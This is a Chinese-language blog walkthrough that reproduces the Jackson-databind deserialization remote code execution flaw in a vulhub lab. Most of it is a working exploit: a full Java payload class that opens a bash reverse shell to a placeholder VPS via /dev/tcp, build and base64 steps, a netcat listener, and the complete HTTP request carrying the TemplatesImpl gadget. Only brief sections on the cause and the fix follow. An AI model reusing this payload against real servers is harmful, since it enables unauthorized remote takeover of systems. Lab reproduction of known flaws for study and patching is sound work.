0x00 實驗環境
攻擊機:Win 10
靶場:docker拉的vulhub靶場
0x01 影響版本
FasterXML Jackson-databind < 2.6.7.1
FasterXML Jackson-databind < 2.7.9.1
FasterXML Jackson-databind < 2.8.9
0x02 漏洞復現
(1)訪問存在的漏洞頁面,漏洞環境是jackson2.8.8,內置的java環境是1.7,看文章說對jdk1.8就不再適用了,也不清楚是真是假:
直接訪問漏洞頁面是一個spring的默認報錯頁面:
很難知道這個站還使用了Jackson。
(2)這個漏洞復現要從安裝java1.5的環境說起,從現有的復現文章來看,基本都是只能完成寫個txt文檔的惡意攻擊,但是我怎么會走尋常路呢,即然只是單純的復現漏洞,那就必須要getshell才行。為了方便自己以后測站,我寫明白一些,首先是安裝jdk1.5的環境。到下面這個鏈接下載jdk1.5:
https://www.oracle.com/java/technologies/java-archive-javase5-downloads.html
下載時需要登錄自己的Oracle賬號,這里沒有的話就注冊一下就好。
(3)先給這個bin文檔賦予更高的權限:
chmod 755 jdk-1_5_0_22-linux-amd64.bin
(4)執行安裝jdk1.5,執行完成將會在你執行的當前目錄下生成一個目錄 “jdk1.5.0_22”:
sudo -s ./jdk-1_5_0_22-linux-amd64.bin
(5)然后是常規的,將jdk1.5添加到系統環境變量,打開java.sh,然后編輯,在java.sh中加入你上述看到的jdk1.5.0.22的目錄,按照自己的實際目錄來修改java.sh:
sudo vim /etc/profile.d/java.sh
#set java environment export JAVA_HOME=/root/jdk1.5.0_22 export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
(6)重啟服務器:
reboot
(7)當你再次打開服務器時就會發現java的環境已經變成了jdk1.5:
(8)接下來進入編譯Exploit.java文件的環境,需要將惡意攻擊的腳本編譯成.class文件,將如下.java文件復制並保存為Exploit.java(懂java的都知道,類的名字需要與文件名一致,否則編譯的時候會報錯),當然你也可以修改這個類名:
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Exploit extends AbstractTranslet { public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public Exploit() throws IOException { try { String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/8761 0>&1"}; Process p = Runtime.getRuntime().exec(commands); p.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } public static void main(String[] args) throws IOException { Exploit helloworld = new Exploit(); } }
(9)將Exploit.java上傳至你的vps,在jdk1.5的環境下進行編譯(在編譯前不要忘記了,/dev/tcp/xx.xx.xx.xx/8761,這里是需要把xx.xx.xx.xx更換為你vps的監聽端口的,不然是無法實現命令執行的,懂的都懂),這就是上面到(7)為止的作用:
(10)最后一步,將生成的Exploit.class編碼為base64,這個也不用擔心,我已經搜到命令了,直接執行以下命令即可生成base64的payload:
javac Exploit.java; cat Exploit.class | base64 -w 0 | xargs
(11)在自己的vps上開啟監聽:
nc -lvp 8761
(12)最后一步,也就是所有千篇一律的使用payload進行發包操作:
POST /exploit HTTP/1.1 Host:xx.xx.xx.xx:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 1864 { "param": [ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", { "transletBytecodes": [ "將base64編碼好的payload放進來" ], "transletName": "a.b", "outputProperties": {} } ] }
然后即可獲取到肉雞的shell:
0x03 漏洞原理
Jackson是一款基於Java平台的開源數據處理框架,可以方便的實現Jason對象和Java對象的相互轉換,很多Java應用都使用Jackson框架進行Jason對象處理。Jackson-databind是Jackson框架的核心庫之一。
Jackson-databind庫在ObjectMapper類的readValue方法處理中存在一個反序列化漏洞,未授權的遠程攻擊者可以通過提交精心構造的惡意數據執行任意代碼。
0x04 修復建議
1、升級到高版本
0x05 參考文獻
https://www.cnblogs.com/ABKing/p/13669401.html
https://blog.csdn.net/xuandao_ahfengren/article/details/106805679
https://www.nsfocus.com.cn/html/2017/39_0714/396.html
0x06 免責聲明
本漏洞復現文章僅用於學習、工作與興趣愛好,並立志為網絡安全奉獻一份力量,凡是利用本博客相關內容的無良hackers造成的安全事故均與本人無關!